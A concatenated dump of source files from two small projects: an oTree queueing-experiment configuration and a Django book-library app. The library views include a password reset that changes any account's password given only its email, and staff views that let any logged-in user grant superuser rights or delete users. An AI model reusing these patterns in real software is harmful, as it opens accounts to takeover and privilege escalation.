"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 3: bid, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 4: swap, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 5: bid, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},{ # Type 1: double, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "double",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 2: swap, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 3: bid, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 4: swap, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 5: bid, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
]]
def shuffle(data):
for i, group in enumerate(data):
for j, period in enumerate(group):
if "start_pos" not in data[i][j]["players"][0]:
positions = [n for n in range(1, len(period["players"]) + 1)]
random.shuffle(positions)
for k, player in enumerate(period["players"]):
data[i][j]["players"][k]["start_pos"] = positions[k]
random.shuffle(
data[i][j]["players"]
) # shuffle order of players within periods
random.shuffle(data[i]) # shuffle order of periods withing groups
random.shuffle(data) # shuffle order of groups
return data
# exports data to a csv format
def export_csv(fname, data):
pass
# exports data to models.py
# formats data to make it easier for models.py to parse it
def export_data():
# error handling & filling defaults
for i, group in enumerate(data):
for j, period in enumerate(group):
if "settings" not in period:
raise ValueError("Each period must contain settings dict")
if "players" not in period:
raise ValueError("Each period must contain players dict")
settings = period["settings"]
players = period["players"]
if "duration" not in settings:
raise ValueError("Each period settings must have a duration")
if "swap_method" not in settings:
raise ValueError(
"Each period settings must have a swap_method variable"
)
# For now, will comment out this swap_method check to allow for testing
# of the double auction
"""
if settings['swap_method'] not in ['cut', 'swap', 'bid']:
raise ValueError('Each period settings swap_method variable \
must be either \'bid\', \'swap\' or \'cut\'')
"""
if "pay_method" not in settings:
raise ValueError(
"Each period settings must have a pay_method variable")
if settings["pay_method"] not in ["gain", "lose"]:
raise ValueError(
"Each period settings pay_method variable \
must be either 'gain' or 'lose'"
)
if "pay_rate" not in players[0]:
raise ValueError("Players must have pay_rates")
if "service_time" not in players[0]:
if "k" not in settings:
raise ValueError(
"Period settings must have a k variable if players \
do not define service ti"
)
if "service_distribution" not in settings:
data[i][j]["settings"]["service_distribution"] = 1
sd = settings["service_distribution"]
t = settings["duration"]
k = settings["k"]
vals = [random.randrange(sd) + 1 for p in players]
vals = [v / sum(vals) for v in vals]
vals = [round(v * k * t) for v in vals]
positions = [n for n in range(1, len(period["players"]) + 1)]
for k, _ in enumerate(players):
data[i][j]["players"][k]["service_time"] = vals[k]
data[i][j]["players"][k]["start_pos"] = positions[k]
print("exported data is")
print(data[0][0])
return data
|
jeffreyyang3/Lines_Queueing | config4.py | <reponame>jeffreyyang3/Lines_Queueing<filename>config4.py
import random
import math
"""
- Data holds the data for one session.
- Each inner list represents a group.
- Each inner inner dict represents a period.
- Period dicts can have no more dictionaries than there are participants.
- Each dict represents a player.
- for now, all groups must be the same size
- if you define starting positions here, make sure every player has a starting position,
- otherwise the behavior is undefined
- Defining the starting position does not affect which player (in the room) gets assigned to
- each dictionary here. Rather, it keeps a person's starting position in the line consistent
- with their pay rate and their service time
- periods lengths is a list containing the total time for each period
- need to incorporate K into this!!
- might make period a dict with players, a list of dicts, and period data,
- a dict of data for the entire period
settings data:
'duration': 100,
# duration of the round in seconds
'swap_method': 'swap',
# mode defining how trades occur
# bid: players offer a portion of their endowment in exchange for a swap
# swap: players ask to swap with no monetary incentive
# cut: players can cut to any position in line
# this might take some money or something
'pay_method': 'gain',
# treatment for paying
# gain: accumulated $ increases every second in paying room (and not
# in the queue/service room) by pay_rate
# lose: accumulated $ decreases every second in queue & service room
# by pay_rate
'k': .5,
# portion of the total round time that makes up everyone's service times
'service_distribution': 5,
# how service times are assigned
# if service times are explicitly defined for each player, this is ignored.
# if not, this must be here; throws error if not
# number represents the max possible factor by which one person's service time is greater
# than another. If 1, everyone will have the same service time.
# If 10, service times are assigned randomly such that no person will have a service
# time more than 10x longer than any other person
"""
"""
data = [
[ # Group 1
{ # Period 1
'settings': {
'duration': 45,
'swap_method': 'swap',
'pay_method': 'gain',
'k': .8,
'service_distribution': 1,
},
'players': [
{'pay_rate': 0.05, 'endowment': 5},
{'pay_rate': 0.04, 'endowment': 6},
{'pay_rate': 0.03, 'endowment': 7},
{'pay_rate': 0.02, 'endowment': 8}
]
},
{ # Period 2
'settings': {
'duration': 45,
'swap_method': 'swap',
'pay_method': 'lose',
'k': .8,
'service_distribution': 5,
},
'players': [
{'pay_rate': 0.05, 'endowment': 5},
{'pay_rate': 0.04, 'endowment': 6},
{'pay_rate': 0.03, 'endowment': 7},
{'pay_rate': 0.02, 'endowment': 8}
]
},
{ # Period 3
'settings': {
'duration': 45,
'swap_method': 'bid',
'pay_method': 'lose',
'k': .8,
'service_distribution': 100,
},
'players': [
{'pay_rate': 0.01, 'endowment': 5, 'service_time': 10},
{'pay_rate': 0.02, 'endowment': 6, 'service_time': 20},
{'pay_rate': 0.03, 'endowment': 7, 'service_time': 30},
{'pay_rate': 0.02, 'endowment': 8, 'service_time': 40}
]
},
{ # Period 5
'settings': {
'duration': 45,
'swap_method': 'bid',
'pay_method': 'gain',
'k': .8,
'service_distribution': 1,
},
'players': [
{'pay_rate': 0.01, 'endowment': 5},
{'pay_rate': 0.02, 'endowment': 6},
{'pay_rate': 0.03, 'endowment': 7},
{'pay_rate': 0.04, 'endowment': 8},
]
},
],
]
"""
data = [
[
{ # Practice 1: swap, communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Practice 2: double, no communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "double",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Period 1-4: swap, no communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Period 5-8: Double, no communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "double",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Period 9-12: swap, with communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Period 13-16: Take it or leave it, with communication, 4 players (2 groups)
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
],
]
# shuffles order of groups, the order of periods within the group, and the order of players
# within the period.
# also fills default start_pos's with random positions
def shuffle(data):
for i, group in enumerate(data):
for j, period in enumerate(group):
if "start_pos" not in data[i][j]["players"][0]:
positions = [n for n in range(1, len(period["players"]) + 1)]
random.shuffle(positions)
for k, player in enumerate(period["players"]):
data[i][j]["players"][k]["start_pos"] = positions[k]
random.shuffle(
data[i][j]["players"]
) # shuffle order of players within periods
random.shuffle(data[i]) # shuffle order of periods withing groups
random.shuffle(data) # shuffle order of groups
return data
# exports data to a csv format
def export_csv(fname, data):
pass
# exports data to models.py
# formats data to make it easier for models.py to parse it
def export_data():
# error handling & filling defaults
for i, group in enumerate(data):
for j, period in enumerate(group):
if "settings" not in period:
raise ValueError("Each period must contain settings dict")
if "players" not in period:
raise ValueError("Each period must contain players dict")
settings = period["settings"]
players = period["players"]
if "duration" not in settings:
raise ValueError("Each period settings must have a duration")
if "swap_method" not in settings:
raise ValueError(
"Each period settings must have a swap_method variable"
)
# For now, will comment out this swap_method check to allow for testing
# of the double auction
"""
if settings['swap_method'] not in ['cut', 'swap', 'bid']:
raise ValueError('Each period settings swap_method variable \
must be either \'bid\', \'swap\' or \'cut\'')
"""
if "pay_method" not in settings:
raise ValueError(
"Each period settings must have a pay_method variable")
if settings["pay_method"] not in ["gain", "lose"]:
raise ValueError(
"Each period settings pay_method variable \
must be either 'gain' or 'lose'"
)
if "pay_rate" not in players[0]:
raise ValueError("Players must have pay_rates")
if "service_time" not in players[0]:
if "k" not in settings:
raise ValueError(
"Period settings must have a k variable if players \
do not define service ti"
)
if "service_distribution" not in settings:
data[i][j]["settings"]["service_distribution"] = 1
sd = settings["service_distribution"]
t = settings["duration"]
k = settings["k"]
vals = [random.randrange(sd) + 1 for p in players]
vals = [v / sum(vals) for v in vals]
vals = [round(v * k * t) for v in vals]
positions = [n for n in range(1, len(period["players"]) + 1)]
for k, _ in enumerate(players):
data[i][j]["players"][k]["service_time"] = vals[k]
data[i][j]["players"][k]["start_pos"] = positions[k]
print("exported data is")
print(data[0][0])
return data
"""
Sample exported player dict:
{ 'start_pos': 2, 'pay_rate': 0.03, 'service_time': 20, 'endowment': 5},
"""
|
jeffreyyang3/Lines_Queueing | tests.py | from otree.api import Bot, Submission
'''
<NAME> <<EMAIL>>
'''
class PlayerBot(Bot):
def play_round(self):
pass |
jeffreyyang3/Lines_Queueing | pages.py | <filename>pages.py<gh_stars>0
from ._builtin import Page, WaitPage
from .models import Constants
import json
"""
<NAME> <<EMAIL>>
"""
class Instructions(Page):
form_model = "player"
form_fields = ["time_Instructions"]
def is_displayed(self):
# return self.round_number == 1
return False
class QueueServiceWaitPage(WaitPage):
pass
# queue room and service room. Because of otree-redwood's period_length
# requirement, and because the total time in both rooms is set but the time
# each player spends in each room varies, I think the best way to represent
# the rooms is with one page, and using JS to show both rooms.
class QueueService(Page):
form_model = "player"
form_fields = [
"time_Queue",
"time_Service",
"start_pos",
"service_time",
"pay_rate",
"round_payoff",
"metadata",
"endowment",
"swap_method",
"pay_method",
"waiting_time",
"end_pos",
"tokens",
]
def get_timeout_seconds(self):
g_index = self.participant.vars[self.round_number]["group"]
return Constants.config[g_index][self.round_number - 1]["settings"]["duration"]
def vars_for_template(self):
g_index = self.participant.vars[self.round_number]["group"]
self.group.groupTrades = "bongoman"
self.player.discrete = Constants.config[g_index][self.round_number -
1]["settings"]["discrete"]
self.player.messaging = Constants.config[g_index][self.round_number -
1]["settings"]["messaging"]
self.player.cost = self.participant.vars[self.round_number]['c']
return {
"round_time_": Constants.config[g_index][self.round_number - 1]["settings"][
"duration"
],
"groupTrades": self.group.groupTrades,
"pay_rate_": self.participant.vars[self.round_number]["pay_rate"],
"c_": self.participant.vars[self.round_number]["c"],
"service_time_": self.participant.vars[self.round_number]["service_time"],
"start_pos_": self.participant.vars[self.round_number]["start_pos"],
"round_": self.round_number,
"num_players_": Constants.num_players,
"data": self.session.vars[self.round_number][g_index],
"raw": self.session.vars,
"id": self.player.id_in_group,
"swap_method_": Constants.config[g_index][self.round_number - 1][
"settings"
]["swap_method"],
"pay_method_": Constants.config[g_index][self.round_number - 1]["settings"][
"pay_method"
],
"discrete": self.player.discrete,
"messaging": self.player.messaging,
"endowment_": self.participant.vars[self.round_number]["endowment"],
}
def before_next_page(self):
if self.round_number == Constants.num_rounds:
self.player.set_payoffs()
# round debrief, displayed after queue service page. Has no specific data yet
class BetweenPages(Page):
form_model = "player"
form_fields = ["time_BP"]
def vars_for_template(self):
all_players = self.group.get_players()
print("len of all_players is: ", len(all_players))
print("all_players is: ", all_players)
startLine = {}
displayStartLine = []
for p in all_players:
print("p.start_pos is: ", p.start_pos)
startLine[str(p.start_pos)] = p.id_in_group
"""
print("start line is: ", str(startLine))
for i in range(len(startLine)):
displayStartLine.append(startLine[str(i + 1)])
print("displaystartline is: ", displayStartLine)
"""
return {
"round": self.round_number,
"startLine": displayStartLine,
"numPlayers": len(all_players),
"history": self.player.metadata,
"id": self.player.id_in_group,
"tokens": self.player.tokens,
"roundpayoff": self.player.round_payoff,
"group": self.group,
"Asdf": self.group.get_players
}
class AfterService(WaitPage):
def after_all_players_arrive(self):
allData = {}
for p in self.group.get_players():
allData[p.id_in_group] = p.metadata
for p in self.group.get_players():
p.allMetadata = json.dumps(allData)
# displays experiment results. Has no specific data set yet.
class Results(Page):
form_model = "player"
form_fields = ["time_Results"]
def vars_for_template(self):
return {"data": self.player.allMetadata}
def is_displayed(self):
return self.round_number == Constants.num_rounds
# order in which pages are displayed. A page's is_displayed method
# can override this, and not all pages defined above need to be included
page_sequence = [
Instructions,
QueueServiceWaitPage,
QueueService,
AfterService,
BetweenPages,
Results,
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/migrations/0006_auto_20200202_1401.py | # Generated by Django 3.0.2 on 2020-02-02 08:31
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0005_auto_20200202_1302'),
]
operations = [
migrations.AlterField(
model_name='user',
name='address',
field=models.TextField(blank=True, null=True),
),
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/admin.py | from django.contrib import admin
from app.models import *
admin.site.register(User)
admin.site.register(Book)
|
kumarnishu/BOOKS-LIBRARY | Library/app/views.py | <filename>Library/app/views.py
# imports required
from django.shortcuts import render,redirect
from django.contrib.auth import authenticate,login,logout
from django.contrib.auth.models import User
from django.contrib import messages
from app.models import *
from datetime import datetime, timedelta
from django.contrib.auth.decorators import login_required
# home page
@login_required()
def index(request):
return render(request,"app/index.html",{})
# users urls
# login page
def login_page(request):
return render(request,"app/login.html",{})
# login function
def login_view(request):
username=request.POST['username']
password=request.POST['password']
user = authenticate(username=username, password=password)
if user is not None:
login(request,user)
return redirect("app:index")
else:
messages.info(request,"username or password incorrect[login failed]")
return redirect("app:login_page")
# logout function
@login_required()
def logout_view(request):
logout(request)
messages.info(request,"[logout success]")
return redirect("app:login_page")
# signup page
def signup_page(request):
if request.user.is_authenticated==True:
return render(request,"app/index.html",{})
else:
return render(request,"app/signup.html",{})
# signup function
def signup_view(request):
if request.method=='POST'and request.FILES['picture']:
username=request.POST['username']
email=request.POST['email']
password1=request.POST['<PASSWORD>']
password2=request.POST['<PASSWORD>']
image=request.FILES['picture']
slug=request.POST['slug']
if User.objects.filter(username=username):
messages.info(request,"faild ..user already exists")
return redirect("app:signup_page")
elif User.objects.filter(email=email):
messages.info(request,"failed...email already taken")
return redirect("app:signup_page")
elif password1!=password2:
messages.info(request,"failed...password not mached")
return redirect("app:signup_page")
else:
user=User.objects.create_user(username=username,email=email,password=<PASSWORD>,picture=image,slug=slug)
user.save();
messages.info(request,"signup successful")
return redirect("app:login_page")
else:
return redirect("app:signup_page")
# reset page
def reset_page(request):
return render(request,"app/reset.html")
# reset function
def reset_password_view(request):
if request.method=="POST":
email=request.POST['email']
password=request.POST['password']
res=User.objects.filter(email=email)
if res:
user=User.objects.get(email=email)
user.set_password(password)
user.save();
messages.info(request,"password reset successful")
return redirect("app:login_page")
else:
messages.info(request,"email not matched")
return redirect("app:reset_page")
else:
return redirect("app:reset_page")
@login_required()
def update_profile_page(request):
return render(request,"app/update_profile_page.html")
@login_required()
def update_profile(request,slug):
user=User.objects.get(slug=slug)
if request.method=='POST'and request.FILES['picture']:
username=request.POST['username']
email=request.POST['email']
phone=request.POST['phone']
address=request.POST['address']
image=request.FILES['picture']
username=username
user.email=email
user.phone=phone
user.address=address
user.picture=image
user.save()
return redirect("app:index")
##### book functions
@login_required()
def book_display(request):
books=Book.objects.all()
context={
'books':books,
}
return render(request,"app/books.html",context)
@login_required()
def new_book_page(request):
return render(request,"app/create.html")
@login_required()
def update_page(request,slug):
book=Book.objects.get(slug=slug)
return render(request,"app/update.html",{'book':book})
@login_required()
def del_page(request,slug):
book=Book.objects.get(slug=slug)
return render(request,"app/del_page.html",{'book':book})
@login_required()
def new_book(request):
if request.method=="POST":
code=request.POST['code']
name=request.POST['name']
author=request.POST['author']
publisher=request.POST['publisher']
type=request.POST['type']
slug=request.POST['slug']
book=Book(code=code,name=name,author=author,publisher=publisher,type=type,slug=slug)
book.save()
return redirect("app:book_display")
else:
return redirect("app:new_book_page")
@login_required()
def update(request,slug):
if request.method=="POST":
code=request.POST['code']
name=request.POST['name']
author=request.POST['author']
publisher=request.POST['publisher']
type=request.POST['type']
book=Book.objects.get(slug=slug)
book.code=code
book.name=name
book.author=author
book.publisher=publisher
book.type=type
book.save()
return redirect("app:book_display")
else:
return redirect("app:update_page")
@login_required()
def delete(request,slug):
if request.method=="POST":
book=Book.objects.get(slug=slug).delete()
return redirect("app:book_display")
else:
return redirect("app:book_display")
@login_required()
def issue_page(request,slug):
book=Book.objects.get(slug=slug)
return render(request,"app/issue_page.html",{'book':book})
@login_required()
def issue(request,slug):
if request.method=="POST":
book=Book.objects.get(slug=slug)
book.issued=True
book.issue_date=datetime.now()
book.due_date=book.issue_date+ timedelta(hours=168)
book.save()
return redirect("app:book_display")
else:
return redirect("app:book_display")
@login_required()
def del_issue_page(request,slug):
book=Book.objects.get(slug=slug)
return render(request,"app/del_issue_page.html",{'book':book})
@login_required()
def del_issue(request,slug):
if request.method=="POST":
book=Book.objects.get(slug=slug)
book.issued=False
book.issue_date=None
book.due_date=None
book.save();
return redirect("app:book_display")
else:
return redirect("app:book_display")
# create database
@login_required()
def create_data_page(request):
return render(request,"app/create_data_page.html")
@login_required()
def create_data(request,num):
from faker import Faker
faker=Faker()
num=int(num)
for i in range(1,num):
b=Book(code=faker.zipcode(),name=faker.company(),author=faker.city(),publisher=faker.company(),slug=faker.slug(),type="computer",issued=False)
b.save();
return redirect("app:book_display")
@login_required()
def staff_page(request):
if request.user.is_superuser:
users=User.objects.all()
return render(request,"app/staff.html",{'users':users})
else:
messages.info(request,"you should be a staff admin")
return redirect("app:index")
@login_required()
def new_staff_page(request):
return render(request,"app/new_staff_page.html")
@login_required()
def delete_staff_page(request,slug):
user=User.objects.get(slug=slug)
return render(request,"app/delete_staff_page.html",{'user':user})
@login_required()
def update_staff_page(request,slug):
user=User.objects.get(slug=slug)
return render(request,"app/update_staff_page.html",{'user':user})
@login_required()
def new_staff(request):
if request.method=='POST'and request.FILES['picture']:
username=request.POST['username']
email=request.POST['email']
password1=request.POST['password1']
password2=request.POST['<PASSWORD>']
image=request.FILES['picture']
status=request.POST['is_admin_status']
slug=request.POST['slug']
if User.objects.filter(username=username):
messages.info(request,"faild ..user already exists")
return redirect("app:signup_page")
elif User.objects.filter(email=email):
messages.info(request,"failed...email already taken")
return redirect("app:signup_page")
elif password1!=<PASSWORD>:
messages.info(request,"failed...password not mached")
return redirect("app:signup_page")
else:
user=User.objects.create_user(username=username,email=email,password=<PASSWORD>,picture=image,slug=slug)
if status=="True":
user.is_superuser=True
user.is_staff=True
else:
user.is_superuser=False
user.is_staff=False
user.save();
messages.info(request,"signup successful",status)
return redirect("app:staff_page")
else:
messages.info(request,"signup failed",status)
return redirect("app:signup_page")
@login_required()
def update_staff(request,slug):
user=User.objects.get(slug=slug)
if request.method=='POST'and request.FILES['picture']:
username=request.POST['username']
email=request.POST['email']
phone=request.POST['phone']
address=request.POST['address']
image=request.FILES['picture']
status=request.POST['is_admin_status']
print(status)
username=username
user.email=email
user.phone=phone
user.address=address
user.picture=image
if status=="True":
user.is_superuser=True
user.is_staff=True
else:
user.is_superuser=False
user.is_staff=False
user.save()
return redirect("app:staff_page")
@login_required()
def delete_staff(request,slug):
if request.method=="POST":
User.objects.get(slug=slug).delete()
return redirect("app:staff_page")
else:
return redirect("app:staff_page")
|
kumarnishu/BOOKS-LIBRARY | Library/app/migrations/0007_auto_20200203_0958.py | # Generated by Django 3.0.2 on 2020-02-03 04:28
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0006_auto_20200202_1401'),
]
operations = [
migrations.AlterField(
model_name='user',
name='picture',
field=models.ImageField(blank=True, default='none.jpg', null=True, upload_to='profile'),
),
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/urls.py | from django.urls import path
from app.views import *
app_name="app"
urlpatterns=[
path("",index,name="index"),
path("login_page/",login_page,name="login_page"),
path("login_view/",login_view,name="login_view"),
path("signup_page/",signup_page,name="signup_page"),
path('signup_view/',signup_view,name="signup_view"),
path("logout_view/",logout_view,name="logout_view"),
path("reset_page/",reset_page,name="reset_page"),
path("reset_password_view/",reset_password_view,name="reset_password_view"),
path("book_display/",book_display,name="book_display"),
path("new_book_page/",new_book_page,name="new_book_page"),
path("update_page/<slug:slug>",update_page,name="update_page"),
path("del_page/<slug:slug>/",del_page,name="del_page"),
path("new_book/",new_book,name="new_book"),
path("update/<slug:slug>/",update,name="update"),
path("delete/<slug:slug>/",delete,name="delete"),
path("issue_page/<slug:slug>/",issue_page,name="issue_page"),
path("issue/<slug:slug>/",issue,name="issue"),
path("del_issue/<slug:slug>/",del_issue,name="del_issue"),
path("del_issue_page/<slug:slug>/",del_issue_page,name="del_issue_page"),
path("create_data/<num>/",create_data,name="create_data"),
path("create_data_page/",create_data_page,name="create_data_page"),
path("update_profile_page/",update_profile_page,name="update_profile_page"),
path("update_profile/<slug:slug>/",update_profile,name="update_profile"),
path("staff_page/",staff_page,name="staff_page"),
path("new_staff_page/",new_staff_page,name="new_staff_page"),
path("update_staff_page/<slug:slug>/",update_staff_page,name="update_staff_page"),
path("delete_staff_page/<slug:slug>/",delete_staff_page,name="delete_staff_page"),
path("new_staff/",new_staff,name="new_staff"),
path("update_staff/<slug:slug>/",update_staff,name="update_staff"),
path("delete_staff/<slug:slug>/",delete_staff,name="delete_staff"),
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/migrations/0002_auto_20200201_1054.py | # Generated by Django 3.0.2 on 2020-02-01 05:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='book',
name='due_date',
field=models.DateTimeField(blank=True, default=None, null=True),
),
migrations.AlterField(
model_name='book',
name='issue_date',
field=models.DateTimeField(blank=True, default=None, null=True),
),
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/models.py | from django.db import models
from django.contrib.auth.models import AbstractUser
class User(AbstractUser):
phone=models.PositiveIntegerField(blank=True,null=True)
email=models.EmailField(blank=True,null=True)
picture=models.ImageField(upload_to="profile",default="none.jpg",blank=True,null=True)
address=models.TextField(blank=True,null=True)
slug=models.SlugField(unique=True)
def __str__(self):
return self.username
types=[
('political','political'),('social','social'),('engineering','engineering'),('computer','computer'),('biological','biological'),('reaerch','research')
]
class Book(models.Model):
code=models.CharField(max_length=20,unique=True,blank=False)
name=models.CharField(max_length=20)
author=models.CharField(max_length=20)
publisher=models.CharField(max_length=20)
type=models.CharField(max_length=20,choices=types,default='computer')
issued=models.BooleanField(default=False)
issue_date=models.DateTimeField(blank=True,null=True,default=None)
due_date=models.DateTimeField(blank=True,null=True,default=None)
slug=models.SlugField(unique=True,max_length=100)
def __str__(self):
return str(self.name)
|
kumarnishu/BOOKS-LIBRARY | Library/app/migrations/0003_user_slug.py | <reponame>kumarnishu/BOOKS-LIBRARY<filename>Library/app/migrations/0003_user_slug.py
# Generated by Django 3.0.2 on 2020-02-02 05:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0002_auto_20200201_1054'),
]
operations = [
migrations.AddField(
model_name='user',
name='slug',
field=models.SlugField(default=1, unique=True),
preserve_default=False,
),
]
|
kumarnishu/BOOKS-LIBRARY | Library/app/migrations/0005_auto_20200202_1302.py | # Generated by Django 3.0.2 on 2020-02-02 07:32
